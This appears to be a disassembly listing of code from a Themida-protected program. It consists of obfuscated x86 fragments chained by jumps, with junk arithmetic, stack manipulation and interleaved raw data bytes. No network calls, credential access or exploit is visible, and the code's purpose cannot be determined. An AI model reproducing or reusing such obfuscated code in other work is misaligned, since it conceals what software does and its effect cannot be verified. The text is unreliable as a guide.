loc_55D0A3:				; CODE XREF: Themida_:0055DA9Fj
		or	ebp, 1EB31BB2h
		shr	ebp, 7
		jmp	loc_552B32
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 0EA290000h, 0E9242C8Bh, 7895h, 0C8BEA00h, 4C48124h
		dd 0E9000000h, 0FFFF9EB9h, 0F756DEF7h, 0E95E241Ch, 477Bh
		dd 0FD568h, 24348900h, 0C681E689h, 4, 548EE9h
		db 0
; ---------------------------------------------------------------------------


loc_55D0F1:				; CODE XREF: Themida_:0056282Dj
		sub	ebx, 1090337h
		push	ebp
		jmp	loc_55376B
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 79D5E95Ch, 34FFFFFFh, 240C8B24h, 6804C483h, 53Bh, 54241C89h
		dd 0FF7561E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D11D:				; CODE XREF: Themida_:00558BC9j
		push	ebx
		jmp	loc_55B879
; ---------------------------------------------------------------------------
		db 1
		dd 6FC505F0h, 142D486Fh, 554DE126h, 696857h, 94E927C6h
		dd 0D1FFFFD4h, 0B1C6E9E6h, 148BFFFFh, 0B657E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D14A:				; CODE XREF: Themida_:00556FD7j
		push	4
		pop	eax
		add	esi, eax
		pop	eax
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		jmp	loc_55D28C
; ---------------------------------------------------------------------------


loc_55D160:				; CODE XREF: Themida_:005584EAj
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_554A80
; ---------------------------------------------------------------------------
		dd 0E958C629h, 0FFFF9989h, 0C0E9D2F6h, 0FF000067h, 669D1C77h
		dd 241CD359h, 4554E99Ch, 2158FFFFh, 0E5C158C5h,	0E9514507h
		dd 5441h, 0E95DEF29h, 0FFFF89CBh, 3931E681h, 0D2E92B1Bh
		dd 54FFFF7Ch, 4EC835Bh,	0E9243C89h, 4A8Dh
; ---------------------------------------------------------------------------


loc_55D1C8:				; CODE XREF: Themida_:00553DDFj
		mov	[esp], ecx
		mov	ecx, 0F732AB1h
		add	[esp+4], ecx
		jmp	loc_560A91
; ---------------------------------------------------------------------------


loc_55D1D9:				; CODE XREF: Themida_:005615B0j
		add	ch, 6Fh
		xor	ch, 0C6h
		dec	ch
		push	ax
		push	ecx
		mov	ch, 8Fh
		jmp	loc_55EF59
; ---------------------------------------------------------------------------
a1s5b		db '1è]5',0
		db 4, 52h, 29h
		dd 8772E9C6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D1FA:				; CODE XREF: Themida_:00556B41j
		add	edi, 33E502D0h
		shl	edi, 1
		jmp	loc_557D5B
; ---------------------------------------------------------------------------
		db 83h
		dd 0BF5704C4h, 4, 6CDDC281h, 82E903A9h,	0B5FFFFC9h, 0EEF580DAh
		dd 0C8BE828h, 4C48124h,	28000000h, 2C3404D8h, 525404E5h
		dd 4EC81h, 4890000h, 3A8F6824h,	1E90000h, 81000044h, 4C3h
		dd 74FF5300h, 8F5B0424h, 248B2404h, 4B95124h, 0E9000000h
		dd 8E28h, 55B664B4h, 6CE9E600h,	5C000082h, 0E9243489h
		dd 0FFFFAA99h, 4AB0F66h, 2AE99C24h
		db 7Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D283:				; CODE XREF: Themida_:005660CAj
		pop	edi
		dec	edi
		push	ecx
		push	edi
		jmp	loc_551EFA
; ---------------------------------------------------------------------------


loc_55D28C:				; CODE XREF: Themida_:0055D15Bj
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_55AB6D
; ---------------------------------------------------------------------------
		dw 0A1B1h
		dd 0D1F6C9FEh, 0FF7822E9h, 0BE5655FFh, 99E790Ch, 790AEE81h
		dd 0B1E9099Eh, 0BE00007Ah, 4, 267CE9h, 55E18900h, 325A8CBDh
		dd 0F5814D7Fh, 7F325A8Fh, 5661E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D2D9:				; CODE XREF: Themida_:00552337j
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_558DB4
; ---------------------------------------------------------------------------
		dd 4C481h, 0ABE90000h, 5700005Ch, 0FFC073E9h, 35485EFFh
		dd 3E261CFh, 48BC601h, 4C48324h, 8104E6C1h, 4B5944F6h
		dd 0A6EB8139h, 0E9542306h, 0FFFFC101h, 24048F54h, 0FF8ABBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D321:				; CODE XREF: Themida_:005570F0j
		sub	eax, esi
		pop	esi
		add	edx, 3867CC6h
		sub	edx, 27114EFh
		sub	edx, 2BDD7EAAh
		add	edx, eax
		add	edx, 2BDD7EAAh
		add	edx, 27114EFh
		sub	edx, 3867CC6h
		mov	eax, [esp]
		jmp	loc_557EC9
; ---------------------------------------------------------------------------
		dw 0EAC1h
		dd 3ACA8107h, 815CF418h, 0F87B2CF2h, 81E2D114h,	0AD848CEAh
		dd 300FE937h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D36E:				; CODE XREF: Themida_:00553D88j
		pop	esp
		mov	[esp], eax
		push	edi
		mov	edi, 38E7077Dh
		jmp	loc_5518BB
; ---------------------------------------------------------------------------


loc_55D37D:				; CODE XREF: Themida_:00555F2Ej
		mov	edx, 2B6F3DCFh
		mov	ebx, 8811933h
		jmp	loc_55CC71
; ---------------------------------------------------------------------------
		dd 240C8B66h, 51E28952h, 8C55D3B9h, 5E1C135h, 8304E1C1h
		dd 51E9FFE9h, 1000082h,	1CC181D9h, 0E93DDA51h, 7D7Dh
; ---------------------------------------------------------------------------


loc_55D3B4:				; CODE XREF: Themida_:00557C83j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		push	ecx
		jmp	loc_551748
; ---------------------------------------------------------------------------
		db 81h
		dd 0D65094CAh, 8C2815Eh, 0E96FDE55h, 0FFFFB959h, 5AAEEB80h
		dd 4EC81h, 0C890000h, 8040B524h, 0CCE996C5h, 56000056h
		dd 4B951h, 0CE890000h, 0F9A7E959h, 5056FFFFh, 90376268h
		dd 0CBAAE90Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D406:				; CODE XREF: Themida_:00553455j
		inc	ebp
		add	ebp, 0F24F5F5Eh
		sub	ecx, 0F013806h
		jmp	loc_564223
; ---------------------------------------------------------------------------
		dd 5C243C87h, 0FFC324E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D421:				; CODE XREF: Themida_:0055EFC7j
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_553EEE
; ---------------------------------------------------------------------------


loc_55D432:				; CODE XREF: Themida_:00552DEEj
		xor	edi, [esp]
		jmp	loc_55DC38
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 1389E924h, 0C4830000h, 3666804h, 6E90000h, 54FFFFBFh
		dd 0FFAE4DE9h, 63E95DFFh, 5B000087h, 0B6DE948h,	2BBE0000h
		dd 81367550h, 0D1147ECEh, 0E9DEF715h, 436Ah, 31241C33h
		dd 0CEE9241Ch, 89FFFFF6h, 2BBD242Ch, 290DBD11h,	0BE565DEAh
		dd 6B677F9Fh, 53DEEE81h, 0F229F410h, 0EA83595Eh, 24143304h
		dd 0E9241431h, 0FFFFE553h
; ---------------------------------------------------------------------------


loc_55D4A8:				; CODE XREF: Themida_:0055E37Aj
		add	edi, 10F4093Eh
		xor	edi, 658D538Bh
		mov	ecx, edi
		mov	edi, [esp]
		jmp	loc_554021
; ---------------------------------------------------------------------------
		dw 0FD01h
a_hi		db '_h© ',0
		align 2
		dw 3489h
		dd 13BA5224h, 8968B17Ch, 0CFE95AD6h, 5A000027h,	4246C81h
		dd 9BD0096h, 0FF4295E9h, 75685DFFh, 5B04742Eh, 348BF331h
		dd 4C48324h, 6650172Dh,	25B051Eh, 0D80167EBh, 6583BE56h
		dd 0E6817079h, 6884C0Fh, 6AB5EE81h, 1E91B7Eh, 81FFFF53h
		dd 1B701FF5h, 0A306E927h, 5358FFFFh, 42474FFh, 81241C8Bh
		dd 4C4h, 24048F00h, 242C895Ch, 3460BB53h, 0EB812617h, 38D637B1h
		dd 8107E3C1h, 656D8DEBh, 1EB811Fh, 0E9000000h, 77F5h
; ---------------------------------------------------------------------------


loc_55D558:				; CODE XREF: Themida_:00559194j
		push	edx
		push	ebp
		mov	ebp, 12253F09h
		mov	edx, 0EDDAC0F7h
		jmp	loc_5603E8
; ---------------------------------------------------------------------------
		db 46h,	81h, 0EEh
		dd 8B01901Bh, 0A8CEA81h, 0F22973DDh, 1D2DE9h, 0F666400h
		dd 686602B6h, 89667D68h, 5FE92404h
		db 41h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D58F:				; CODE XREF: Themida_:0055B9C9j
		add	ebx, 74A53211h
		jmp	loc_565CD2
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 54522404h, 0E289525Ah, 3D75B850h, 8E257463h,	0D42752Eh
		dd 4B0909FDh, 77F83548h, 0F6E9164Fh, 8100008Dh,	0B33CE2C1h
		dd 0AE7CE973h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D5CA:				; CODE XREF: Themida_:0056467Cj
		mov	edx, esp
		add	edx, 4
		push	eax
		push	ebp
		jmp	loc_556259
; ---------------------------------------------------------------------------
		db 47h,	0F7h, 0DFh
		dd 0F781E7D1h, 2B078C6Fh, 0E95FFA29h, 1273h
; ---------------------------------------------------------------------------


loc_55D5EC:				; CODE XREF: Themida_:00560A75j
		and	ebp, 63B0413Eh
		push	5C7Eh
		mov	[esp], edx
		mov	edx, 6CCF41A3h
		dec	edx
		add	edx, 9881DFB2h
		and	ebp, edx
		pop	edx
		shr	ebp, 6
		xor	ebp, 6DCDD2Ah
		jmp	loc_5541A1
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0FFCE55E9h, 0ECE95BFFh
		db 5Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D623:				; CODE XREF: Themida_:0055389Ej
		pop	ecx
		not	ebp
		add	ebp, 72F6A23Fh
		sub	eax, 3085B01h
		sub	eax, ebp
		add	eax, 3085B01h
		jmp	loc_5652C3
; ---------------------------------------------------------------------------
		db 0BFh, 4, 0
		dd 7C010000h, 0E95F0424h, 0FFFF8F53h, 0CD31E931h, 0F181E931h
		dd 7F7F4BBCh, 601CEF81h, 0CF014838h, 4BA9E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D665:				; CODE XREF: Themida_:00556D9Dj
		xchg	eax, [esp]
		pop	esp
		push	eax
		mov	eax, 0
		add	eax, ecx
		jmp	loc_55B302
; ---------------------------------------------------------------------------
		dw 3C33h
		dd 4D35C24h, 6BE99C24h
		db 40h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D683:				; CODE XREF: Themida_:0055A2E8j
		xor	ebp, ecx
		xor	ecx, ebp
		xor	ebp, ecx
		jmp	loc_55AAD2
; ---------------------------------------------------------------------------
		dw 4BDh
		dd 81000000h, 4F275AC2h, 0C42EE92Fh, 0A12DFFFFh, 5651D59h
		dd 34E75549h, 6450BD55h, 4D454AECh, 0C104E5C1h,	0EDC104E5h
		dd 0A0C58108h, 17B42A8h, 2DE95DE8h, 1FFFF97h, 2434FFF0h
		dd 4C4835Eh, 6802C083h,	698Ch, 0FF240489h, 0FF042474h
		dd 81582434h, 4C4h, 24048F00h, 6624248Bh, 68240C8Bh, 2912h
		dd 0E9243C89h, 0FFFFAB6Bh, 0E9D08850h, 0FFFFF6BBh, 57A3C781h
		dd 0C8B144Eh, 0E3895324h, 4C381h, 0C3830000h, 241C8704h
		dd 0FFCDEDE9h, 280E2CFFh, 520E04C8h, 0E6C0BEB6h, 0FE526603h
		dd 66012444h, 8324148Bh, 0F4E902C4h, 8100001Ah,	9D35C0C2h
		dd 56EA8106h, 2DF1372Ah, 7630653Eh, 3E05D001h, 0E9763065h
		dd 0FFFF69A2h, 4C481h, 0C6810000h, 4, 8702C683h, 248B2434h
		dd 4296624h, 6FE99C24h,	1FFFF3Fh, 0DAEB81CBh, 814F603Dh
		dd 39363CC3h, 7F8CE903h, 34FF0000h, 24148B24h, 0FF5B17E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D79D:				; CODE XREF: Themida_:0055B8C2j
		add	dword ptr [esp], 4
		pop	eax
		push	ecx
		mov	ecx, 58781692h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5541D5
; ---------------------------------------------------------------------------
		db 5Eh,	58h, 0E9h
		dd 0FFFF419Eh, 4240483h, 8124048Fh, 42404h, 0D0E90000h
		dd 5FFFFF6Eh, 0C15AD129h, 5BE905E9h, 0B8FFFFDBh, 224B3B0Bh
		dd 8A3A5A2Dh, 2E94816h,	0BF000065h, 40FC345Fh, 25ABF781h
		dd 0FE314911h, 4EC815Fh, 89000000h, 0CEBE2434h,	81485915h
		dd 1C477EEh, 5EF32901h,	0EB6E9h, 4C48300h, 405h, 8EE95500h
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D82B:				; CODE XREF: Themida_:00555771j
		sub	esi, 4B6F120Bh
		add	esi, 3E100314h
		mov	edi, esi
		pop	esi
		sub	edi, ecx
		xchg	edi, ecx
		pop	edi
		add	ecx, 24299EB7h
		sub	edx, ecx
		pop	ecx
		and	ecx, edx
		jmp	loc_55735A
; ---------------------------------------------------------------------------
		db 0B8h
		dd 1991D8Dh, 0E958C389h, 2EFFh,	52E9C701h, 29FFFF42h, 24348BF0h
		dd 0F704C483h, 0F7D8F7D8h, 51D8F7D8h, 863D78B9h, 95C1815Eh
		dd 0E92C9647h, 0FFFF9209h, 0E831E068h, 32E8E95Ah, 0DA010000h
		dd 6073E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D895:				; CODE XREF: Themida_:005622EAj
		push	24855F5Fh
		pop	ebx
		jmp	loc_560C56
; ---------------------------------------------------------------------------
		dd 0C580ABB5h, 60ED8023h, 0FF9A4AE9h, 2F76B9FFh, 0D9F71029h
		dd 8102E1C1h, 96E898C1h, 5CD3E95Fh, 0EF810000h,	51261811h
		dd 6C15C781h, 48B0400h,	4C48324h, 63E95552h, 1FFFFDCh
		dd 72CF05F0h, 872D7EBBh, 533B027Eh, 4D4382BBh, 5BD82913h
		dd 0FF9FC7E9h, 48B66FFh, 4EC8124h, 89000000h, 0EC832434h
		dd 24248904h, 4240483h,	8324348Bh, 555104C4h, 6706FBDh
		dd 8F956822h, 159DDF9h,	0C6815DE9h, 61183F61h, 0FF6D1EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D92D:				; CODE XREF: Themida_:00564828j
		mov	ecx, 5AFF61ACh
		add	ecx, 0F5EFFFECh
		jmp	loc_55862E
; ---------------------------------------------------------------------------
		db 89h,	0E7h, 81h
		dd 4C7h, 51D1E900h, 0C781FFFFh,	4, 0E904C783h, 0FFFF4339h
; ---------------------------------------------------------------------------


loc_55D958:				; CODE XREF: Themida_:0055C603j
		pop	esi
		push	edi
		jmp	loc_5534E8
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0E95C2404h, 295h, 24E9D901h,	0FF000085h, 2C8B2434h
		dd 4C48324h, 0FFAAB9E9h, 3C77FFFFh, 0FF2434FFh,	42E92434h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D98B:				; CODE XREF: Themida_:00562B39j
		xor	ecx, 6F7001Ah
		jmp	loc_55CD85
; ---------------------------------------------------------------------------
		dw 555Fh
		dd 0A03A3BDh, 3EDC109h,	379DC581h, 0EDC13AAAh, 81EDD106h
		dd 9BD0F7C5h, 0E9EE016Eh, 0FFFF44DCh
; ---------------------------------------------------------------------------


loc_55D9B8:				; CODE XREF: Themida_:00558A7Ej
		add	esp, 4
		push	10F0h
		mov	[esp], ebx
		jmp	loc_555F2D
; ---------------------------------------------------------------------------
		db 0B7h
		dd 5BF988D2h, 301BF180h, 8B4EE9CEh, 0C483FFFFh,	24143304h
		dd 0E9241431h, 14Ch
; ---------------------------------------------------------------------------


loc_55D9E8:				; CODE XREF: Themida_:0055453Bj
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_55CF20
; ---------------------------------------------------------------------------
		db 5
		dd 6E8F18FEh, 93BEE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DA02:				; CODE XREF: Themida_:005530D6j
		mov	edi, esp
		add	edi, 4
		jmp	loc_55896D
; ---------------------------------------------------------------------------
		db 1
		dd 0D4E959CDh, 5EFFFF77h, 104C483h, 24348BF5h, 81E18951h
		dd 4C1h, 4C18100h, 0E9000000h, 0FFFFDD19h
; ---------------------------------------------------------------------------


loc_55DA34:				; CODE XREF: Themida_:005563EEj
		add	esp, 4
		jmp	loc_564102
; ---------------------------------------------------------------------------


loc_55DA3C:				; CODE XREF: Themida_:005546E2j
		push	edx
		pop	ebp
		mov	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_55541B
; ---------------------------------------------------------------------------
		dd 0C681E689h, 4, 7B46E9h, 11E95800h
		db 65h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55DA6F:				; CODE XREF: Themida_:00555081j
		sub	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], cx
		mov	ch, 33h
		add	al, ch
		mov	cx, [esp]
		jmp	loc_55D06D
; ---------------------------------------------------------------------------


loc_55DA87:				; CODE XREF: Themida_:00554B24j
		xor	edi, 28957277h
		push	ebp
		mov	ebp, 2C7C0E00h
		or	ebp, 3B2617BCh
		xor	ebp, 39EA50D7h
		jmp	loc_55D0A3
; ---------------------------------------------------------------------------
		dd 901205BEh, 0E6C14E0Ah, 3FC68104h, 0C11E300Ah, 0EE8105E6h
		dd 0DAEE0587h, 57FFEE83h, 374A58BFh, 5FFE310Bh,	7B7168h
		dd 24048900h, 0C720EAB8h, 95C7814Eh, 29089518h,	95EF81C7h
		dd 58089518h, 0FFB672E9h, 4C483FFh, 4C481h, 89530000h
		dd 4C381E3h, 68000000h,	2FDEh, 0E9240489h, 1CE2h
; ---------------------------------------------------------------------------


loc_55DB08:				; CODE XREF: Themida_:00563721j
		push	ecx
		mov	ecx, 5863255Fh
		push	ebp
		mov	ebp, 28263B33h
		add	eax, ebp
		pop	ebp
		sub	eax, 0C521493h
		sub	eax, ecx
		add	eax, 0C521493h
		jmp	loc_55B9F0
; ---------------------------------------------------------------------------


loc_55DB28:				; CODE XREF: Themida_:0055C5DDj
		mov	ebp, 2000h
		mov	edi, ebp
		jmp	loc_55C998
; ---------------------------------------------------------------------------
		dd 0E9241433h, 0FFFF5765h, 0B8E9FD31h, 25FFFFADh, 38E6167Dh
		dd 42980D40h, 0E94040F8h, 6675h, 6795BB53h, 0DF2939A5h
		dd 32EF815Bh, 0E96C3523h, 0FFFFFCF4h, 97B95152h, 810B630Bh
		dd 563988C1h, 0BAE95136h
		db 3Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DB7B:				; CODE XREF: Themida_:0055FC96j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], ebp
		push	ecx
		push	0D327E07h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xchg	eax, ecx
		xchg	eax, ebp
		not	ebp
		xchg	eax, ebp
		sub	esp, 4
		mov	[esp], ecx
		push	eax
		mov	ecx, [esp]
		add	esp, 4
		pop	eax
		sub	ecx, 1
		jmp	loc_563E66
; ---------------------------------------------------------------------------
		db 87h,	1Ch, 24h
		dd 0F4BF575Dh, 47007B3Ch, 5B78F781h, 0FD01A54Dh, 0E9243C8Bh
		dd 0FFFF757Bh, 4BBh, 5BDA2900h,	0FF906BE9h, 6D8DBEFFh
		dd 0EE814DBFh, 27293DC1h, 2414F756h, 5EEC15Eh, 4D3AE9h
		dd 0EA895F00h, 4325E9h,	4C28100h, 0E9000000h, 6C9h, 5F2434FFh
		dd 4C481h, 0C7810000h, 4, 2BF5751h, 89000000h, 0CF015FF9h
		dd 50240C8Bh, 405E089h,	83000000h, 0E95004C0h, 0FFFF4601h
; ---------------------------------------------------------------------------


loc_55DC38:				; CODE XREF: Themida_:0055D435j
		mov	esp, [esp]
		mov	[esp], esi
		push	3158h
		mov	[esp], ebx
		pop	esi
		mov	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_557A7C
; ---------------------------------------------------------------------------
		db 83h
		dd 48F04C4h, 4895C24h, 3A78E924h, 602DFFFFh, 1419F37h
		dd 8230E9C6h, 34FFFFFFh, 2434FF24h, 8B2434FFh, 0E9562404h
		dd 709Bh, 6E5BEA81h, 34FF7BB0h,	0EFC8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DCA2:				; CODE XREF: Themida_:00555B0Dj
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55E131
; ---------------------------------------------------------------------------
		db 81h
		dd 11527CE9h, 0C875D75h, 24895C24h, 0AA91E924h,	34FFFFFFh
		dd 2434FF24h, 0FFDD89E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DCC9:				; CODE XREF: Themida_:00551BA0j
		pop	esp
		mov	[esp], esi
		pop	ebx
		pop	esi
		sub	ebx, 198F1925h
		add	ebx, edi
		add	ebx, 198F1925h
		push	dword ptr [ebx]
		jmp	loc_5613CB
; ---------------------------------------------------------------------------
		dd 8103E2C1h, 9020A8EAh, 9BEA8147h, 0E9A09E62h,	6900h
		dd 81241C8Bh, 4C4h, 24048F00h, 0FF639AE9h, 242C89FFh, 7C264ABDh
		dd 4E5C10Bh, 4BC7F581h,	0C14D726Eh, 0F58105E5h,	0FDA19501h
		dd 2C8BEE31h, 6C0DE924h, 0A4B2FFFFh, 1C8BFA30h,	4C48324h
		dd 0FFB650E9h, 0EC81ACFFh, 4, 0FFD602E9h, 240C89FFh, 0FF0236B9h
		dd 1323E917h, 0EF810000h, 4006C15h, 0FF6AC1E9h,	1F02BFFFh
		dd 0FE31403Dh, 0EEBA525Fh, 81709335h, 233B61EAh, 0A11DE909h
		dd 515CFFFFh, 0C181E189h, 4, 3E4E9h, 6B6E6800h,	3BE90000h
		dd 4D00006Ch, 38BAE9h
		db 0
; ---------------------------------------------------------------------------


loc_55DD99:				; CODE XREF: Themida_:0055814Dj
		sub	bl, 0FFh
		sub	bl, 2Dh
		jmp	loc_5548E5
; ---------------------------------------------------------------------------
		dd 24048F5Dh, 0FF8DA3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DDAD:				; CODE XREF: Themida_:0055E1DCj
		add	ebx, 4
		add	ebx, 4
		jmp	loc_563B83
; ---------------------------------------------------------------------------


loc_55DDBB:				; CODE XREF: Themida_:0055FB6Aj
		movzx	ax, byte ptr [eax]
		jmp	loc_56376E
; ---------------------------------------------------------------------------
		dd 61A7C381h, 0C3810EC4h, 6B860BA2h, 1317E9h
		db 0
; ---------------------------------------------------------------------------


loc_55DDD5:				; CODE XREF: Themida_:005602F1j
		pop	esi
		push	esi
		mov	esi, 4
		jmp	loc_55B5C2
; ---------------------------------------------------------------------------


loc_55DDE1:				; CODE XREF: Themida_:0056697Bj
		add	ah, 6Ch
		add	bh, ah
		pop	eax
		push	27Bh
		mov	[esp], edx
		mov	dh, 3Dh
		or	bh, dh
		mov	edx, [esp]
		jmp	loc_566ADE
; ---------------------------------------------------------------------------
		db 58h
		dd 50D7F75Fh, 4EC81h, 3C890000h, 342CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55DE0E:				; CODE XREF: Themida_:0055F232j
		add	edx, eax
		pop	eax
		add	edx, 38B85B67h
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		xor	edx, [esp]
		jmp	loc_55C57A
; ---------------------------------------------------------------------------
		db 66h
		dd 5324048Bh, 0E956E389h, 0FFFFFA4Ch
; ---------------------------------------------------------------------------


loc_55DE38:				; CODE XREF: Themida_:00561B62j
		push	ecx
		mov	ecx, 6AFD1759h
		sub	ecx, 1
		jmp	loc_559778
; ---------------------------------------------------------------------------
		dw 0D921h
		db 8Bh,	1Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55F1DD
; ---------------------------------------------------------------------------
		db 81h
		dd 6B2B18EFh, 3EEF813Eh, 56C17483h, 0E8E9FE89h,	55FFFF6Dh
		dd 2F1088BDh, 85CD815Bh, 81143750h, 0E23193F5h,	3BF4E905h
		dd 4BE0000h, 1000000h, 24348BF7h, 8104C483h, 4EFh, 0A358E900h
		dd 0F66FFFFh, 9C2404B3h, 0FF384DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DEA1:				; CODE XREF: Themida_:0056246Fj
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		sub	esi, 4
		jmp	loc_55B403
; ---------------------------------------------------------------------------
		db 29h,	0C1h, 58h
		dd 89CA8952h, 2D595AD5h, 7E42743Dh, 8904EC83h, 6BE9241Ch
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55DECB:				; CODE XREF: Themida_:00557F21j
		add	si, bx
		pop	ebx
		add	bx, si
		pop	esi
		add	bx, si
		jmp	loc_5636E8
; ---------------------------------------------------------------------------


loc_55DEDB:				; CODE XREF: Themida_:0055B9F6j
		add	eax, edi
		push	esi
		mov	esi, 34A57C77h
		sub	esi, 6D124E77h
		add	esi, 1
		xor	esi, 9FF00B5Eh
		add	eax, esi
		jmp	loc_55CBA1
; ---------------------------------------------------------------------------


loc_55DEF9:				; CODE XREF: Themida_:00559CCCj
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4F740D29h
		sub	esi, 4F740D25h
		jmp	loc_55C4EC
; ---------------------------------------------------------------------------
aAa		db '² €ÇÙ',0
aAqSv		db '×€ïÙéV{',0
		align 4
		dd 0E01CD4B8h, 6DF52578h, 0D9E96429h, 81FFFF53h, 4ECh
		dd 243C8900h, 0E9515F54h, 7C2Dh, 0BF243C89h, 4,	9FE9FD89h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DF4B:				; CODE XREF: Themida_:00555FCEj
		add	ebp, eax
		jmp	loc_553BD3
; ---------------------------------------------------------------------------


loc_55DF52:				; CODE XREF: Themida_:0055AEDFj
		add	esi, edx
		pop	edx
		add	esi, 4
		jmp	loc_561887
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 14h
		dd 2C48324h, 0AAE94104h
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DF6B:				; CODE XREF: Themida_:0055A546j
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		add	ecx, 93668C7h
		push	ecx
		sub	esp, 4
		jmp	loc_5564D5
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 0FF40DFE9h, 24048FFFh, 0FF7468E9h, 4E6866FFh, 14896656h
		dd 4BB05024h, 0E8C0012Ch, 66C0FE08h, 28000068h,	48A2404h
		dd 2C48324h, 5068FF34h,	0E900000Dh, 0FFFF3EE9h,	7534BE56h
		dd 0F0E974E6h, 48000077h, 0FF789EE9h, 4C481FFh,	0E9000000h
		dd 0FFFF9A58h, 757BBB53h, 0BA524B5Fh, 0EA91095h, 0ECB8EA81h
		dd 0D029B1D1h, 0FF6BBCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55DFF9:				; CODE XREF: Themida_:00566AECj
		push	ebx
		mov	bl, 0Dh
		mov	ch, 0F4h
		jmp	loc_557267
; ---------------------------------------------------------------------------
		db 0BDh
		dd 6CB6498Eh, 0FF5623E9h, 241487FFh, 2434895Ch,	766BE9h
		dd 88FD8800h, 8B3AE9EEh, 47210000h, 2434FF1Ch, 8324048Bh
		dd 545704C4h, 4C7815Fh,	83000000h, 0E95704C7h, 0FFFF47A1h
		dd 0E904C283h, 0FFFF4E96h, 83240C8Bh, 545204C4h, 6443E9h
		dd 53D83000h, 806BB151h, 0C9FE45E9h, 0E1C0C9FEh, 0F4C18006h
		dd 0C8BCF88h, 4C48324h,	2454F653h, 0B07E901h, 0E9810000h
		dd 0DAF02F15h, 5259C809h, 5D0AF6BAh, 0EEF28148h, 2910DFEFh
		dd 232DE9D0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E096:				; CODE XREF: Themida_:00566C66j
		pop	esp
		mov	[esp], edx
		push	5D0Ah
		mov	[esp], ebx
		jmp	loc_5606F1
; ---------------------------------------------------------------------------
		db 1
		dd 0BF1EE9D8h, 0DD01FFFFh, 7F49C581h, 34FF5306h, 241C8B24h
		dd 4C481h, 0C4810000h, 4, 590ACD81h, 0E5C12BB2h, 0AE95207h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E0D7:				; CODE XREF: Themida_:005534D8j
		movzx	eax, al
		mov	dx, [esp]
		push	40B6h
		mov	[esp], ebp
		push	3C99h
		jmp	loc_553197
; ---------------------------------------------------------------------------
		dd 0F0E93A04h, 0BE000067h, 3E405A21h, 815EF329h, 0D46569C3h
		dd 0E9BA5235h, 81411770h, 0AC14BFCAh, 0E2EA8176h, 0E972DB2Eh
		dd 0FFFFCB9Ah
; ---------------------------------------------------------------------------


loc_55E11C:				; CODE XREF: Themida_:00564011j
		mov	ch, 0EAh
		mov	bl, ch
		pop	ecx
		shl	bl, 4
		inc	bl
		xor	bl, 39h
